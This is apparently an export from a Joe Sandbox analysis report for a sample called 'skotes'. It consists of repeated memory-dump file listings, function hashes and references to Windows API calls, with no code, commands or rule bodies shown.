Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: b98fb699cd38319bf2de478d4792c1720a8852c0b4237c8c138a715dc5357aaa
Instruction ID: 7da67c4b4134db5dd64d2006d1b8f3e933f2080a1716125a36a4e0cb165cc3d7
Opcode Fuzzy Hash: b98fb699cd38319bf2de478d4792c1720a8852c0b4237c8c138a715dc5357aaa
Instruction Fuzzy Hash: E211307290460DEBDB10DFA4D849EDF77BDAF08310F645266E511E2180EB30EB59CB65

Function 0062AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0062AC8D

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: d05861315e5e8cd7b7ed3491504a5d9e8803975e47bafe1ab826de1f00e91772
Instruction ID: f8e3bce49622cba17af53e7a70435348297984006f065a3f7a002b4770581aed
Opcode Fuzzy Hash: d05861315e5e8cd7b7ed3491504a5d9e8803975e47bafe1ab826de1f00e91772
Instruction Fuzzy Hash: D3111571A0460AAFCB05DF98E94199A7BF5EF48304F044069F809AB351D670EE21CBA5

Function 0062B04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00606CB7,?,?,0060D3FC,00606CB7,?,00607A8B,8B18EC84,05320AC3), ref: 0062B07D

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f235b7c0b8982362f27c6d1a2eb34f8c5acb49d2f6d36dcad65c3268822369ac
Instruction ID: 1e8df41d1d31a1551afffad8d09a4dc694ce4eff5c3e7eb8a3b51c840a38c85e
Opcode Fuzzy Hash: f235b7c0b8982362f27c6d1a2eb34f8c5acb49d2f6d36dcad65c3268822369ac
Instruction Fuzzy Hash: 3FE0E531541E3156D7323265BC00B9BA74BCF413E0F153210AD64A62A0DB50CC009DE5

Function 00631775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00631B65,?,?,00000000,?,00631B65,00000000,0000000C), ref: 00631792

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 899937ac9fc9b30ae854fa9d715c3bc3bef5ffce4e46de4019e6273f402315b3
Instruction ID: 42f460efd90e37b5e4b49533aca7880b357204ee11e891f1e2815f6ebf012ab2
Opcode Fuzzy Hash: 899937ac9fc9b30ae854fa9d715c3bc3bef5ffce4e46de4019e6273f402315b3
Instruction Fuzzy Hash: 48D0923214010DBBDF169E84DC06EDA3BAAFB88714F414100FE5866020C732E831AB94

Function 05390DA0 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3127796633.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 509121ac1bdeffb53c9a36c8db2dd8791f78482da2d1583ea69a7c6812493e90
Instruction ID: 40065af0c77eafc54bd26d968856fca58bffeec3a54696353c28dae0c5f11cbf
Opcode Fuzzy Hash: 509121ac1bdeffb53c9a36c8db2dd8791f78482da2d1583ea69a7c6812493e90
Instruction Fuzzy Hash: 1F1104EB90D620BE790EC1967B58AFB2B6FD5C6730330842FF807C7A01C2444E455171

Function 05390DC0 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3127796633.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a469d16e83d51f13900aa1d9c8ed88a7406769ed1b4fa3117475869522ae81c
Instruction ID: 1362912303489025f947dc9c521e374beb535aea653bde602f1a815334f7d476
Opcode Fuzzy Hash: 0a469d16e83d51f13900aa1d9c8ed88a7406769ed1b4fa3117475869522ae81c
Instruction Fuzzy Hash: 23112BFB94D510AEBA0EC6A277686FB3BAFD5C6730330885FF44BC7901D14449455171

Function 05390DB0 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3127796633.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 453214745c39be10dc41c5712f25cb9628ef4270ad6a6193c1b44d1cfafd6a7c
Instruction ID: 59b696749eb0592407291f987cd03423be1053e720447478ae492310cd6c2ea5
Opcode Fuzzy Hash: 453214745c39be10dc41c5712f25cb9628ef4270ad6a6193c1b44d1cfafd6a7c
Instruction Fuzzy Hash: D601F7EB94D520BD790EC2962768AFB2BAFD5C6730330841FF407C7E01C1544A456171

Function 05390DD6 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3127796633.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3314afaa96081ec4cd6402d7e213449d4d558bf1356d1bd01ea6bc14c9dd5749
Instruction ID: a84aa0914142f1e9db6c7100a399830bb62f350443dd732febaf80fae77bd3a4
Opcode Fuzzy Hash: 3314afaa96081ec4cd6402d7e213449d4d558bf1356d1bd01ea6bc14c9dd5749
Instruction Fuzzy Hash: F001A7E795D920BD690EC1962758AF72BAFD5C7731330885EF44BCBA02C1584B46A271

Function 05390E1F Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3127796633.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 982678b8849e0cd18b54e62039ca2f24216ffbbbae6ef68305d1aa10c3b8aca2
Instruction ID: 48b5dac2713def90a73a0f0f39c8e4036cf506083a83578e2ce6876d0cf549a0
Opcode Fuzzy Hash: 982678b8849e0cd18b54e62039ca2f24216ffbbbae6ef68305d1aa10c3b8aca2
Instruction Fuzzy Hash: 270126F794D520AD6A0EC5A227186FB376EE5C6730330882EF447C7901C2544A456171

Function 05390DF2 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3127796633.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f918b3da4029f0f33ad2c5cf3b3c0a8eedb295ecfbb99d84428c838ee858d18
Instruction ID: c60a3239954a6abbe53c0bf8ba873d903637a5b2d40b0a93fb12241a18a6ff04
Opcode Fuzzy Hash: 6f918b3da4029f0f33ad2c5cf3b3c0a8eedb295ecfbb99d84428c838ee858d18
Instruction Fuzzy Hash: C401F9E794D514AD6A0EC2A63718AF7376ED5C3730334886FF447C7D01C1544A49A171

Function 05390E06 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3127796633.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b92cc8fefe674c8ee8391b1cc68f33170a60c113f38636ca00ccea3f7be1db1
Instruction ID: fe884562661bd8aaf883bdb620d8d677e680366b4e6f94a5e14557ad50c3ebc0
Opcode Fuzzy Hash: 9b92cc8fefe674c8ee8391b1cc68f33170a60c113f38636ca00ccea3f7be1db1
Instruction Fuzzy Hash: 50F062E794E524BE7A0EC2A63B18AFB6B6ED5C6730330846FF447C7901D2544A496171

Function 05390E33 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3127796633.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a5fbc53827d5260d2ae06882410e63ff708139830d1850f65fa00263f1d033f
Instruction ID: 54e647d025725a41f28c3110e43f6baf32418b560afccbdb5c88e030d9962ed3
Opcode Fuzzy Hash: 2a5fbc53827d5260d2ae06882410e63ff708139830d1850f65fa00263f1d033f
Instruction Fuzzy Hash: 3FF02DE780DA50ADAA0ED262371C5FB3F6ED4C6630330445FF487CBA03C15807599171

Function 05390EC1 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3127796633.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59874941f9b4ff6ffdc169a93298978bd206996d5b73784cc1a3314128e743c6
Instruction ID: 2f5540078535737edd2e5cdfd6dff9fac9b5158d3d57c53c185cad5281c0b4c6
Opcode Fuzzy Hash: 59874941f9b4ff6ffdc169a93298978bd206996d5b73784cc1a3314128e743c6
Instruction Fuzzy Hash: 60F0E5DB94DE20BD6C1EC1A6371DBFB6B1FD4C2A30330892FF843C6902D294425A60B1

Function 05390E46 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3127796633.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e2e6b6ca79e3032551297c9a442da1d4d3cff81cfcf4b060f24192da36d60b8
Instruction ID: dc1ed124b12b7d6d943e6de305cbe3884995c01afb614131317219c16c4be4eb
Opcode Fuzzy Hash: 6e2e6b6ca79e3032551297c9a442da1d4d3cff81cfcf4b060f24192da36d60b8
Instruction Fuzzy Hash: 06F0E5EB84DA10BC790FC1A22718AFB2B6ED4C2A30330881FF443C7901D1944A4961B1

Function 05390E75 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3127796633.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa2982a39cefbfcb8e1a37dc853ad107b630073c853cbf0724235513cbf9779a
Instruction ID: 2c804e76b9c168878c2bb0a028bc12dfd8cb2e76b6d0c316f643b495b897286e
Opcode Fuzzy Hash: fa2982a39cefbfcb8e1a37dc853ad107b630073c853cbf0724235513cbf9779a
Instruction Fuzzy Hash: 73E020E744D754AF490ED1F5235C3FA7F2E9D07131330445EF443DBA02C1440145D190

Function 05390E8D Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3127796633.0000000005390000.00000040.00001000.00020000.00000000.sdmp, Offset: 05390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5390000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 974312ac2f476d3bb41e2fee15e9c6967b09bcf4eae0de21596b528dd08510a7
Instruction ID: 9180bc6eb665f5035cb0bc8a4939ce13901cc17f161589b6244330c89c727e49
Opcode Fuzzy Hash: 974312ac2f476d3bb41e2fee15e9c6967b09bcf4eae0de21596b528dd08510a7
Instruction Fuzzy Hash: 26E0CD9644EE50D8CA0B419957097F27E5A5A03120364445EF05247E43C2945155A591

Non-executed Functions

Function 00610E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00610F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00610F62

Part of subcall function 0061265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00612750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00610FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00610FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0061103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0061106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 006110C1

Strings

(, xrefs: 00610F22

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
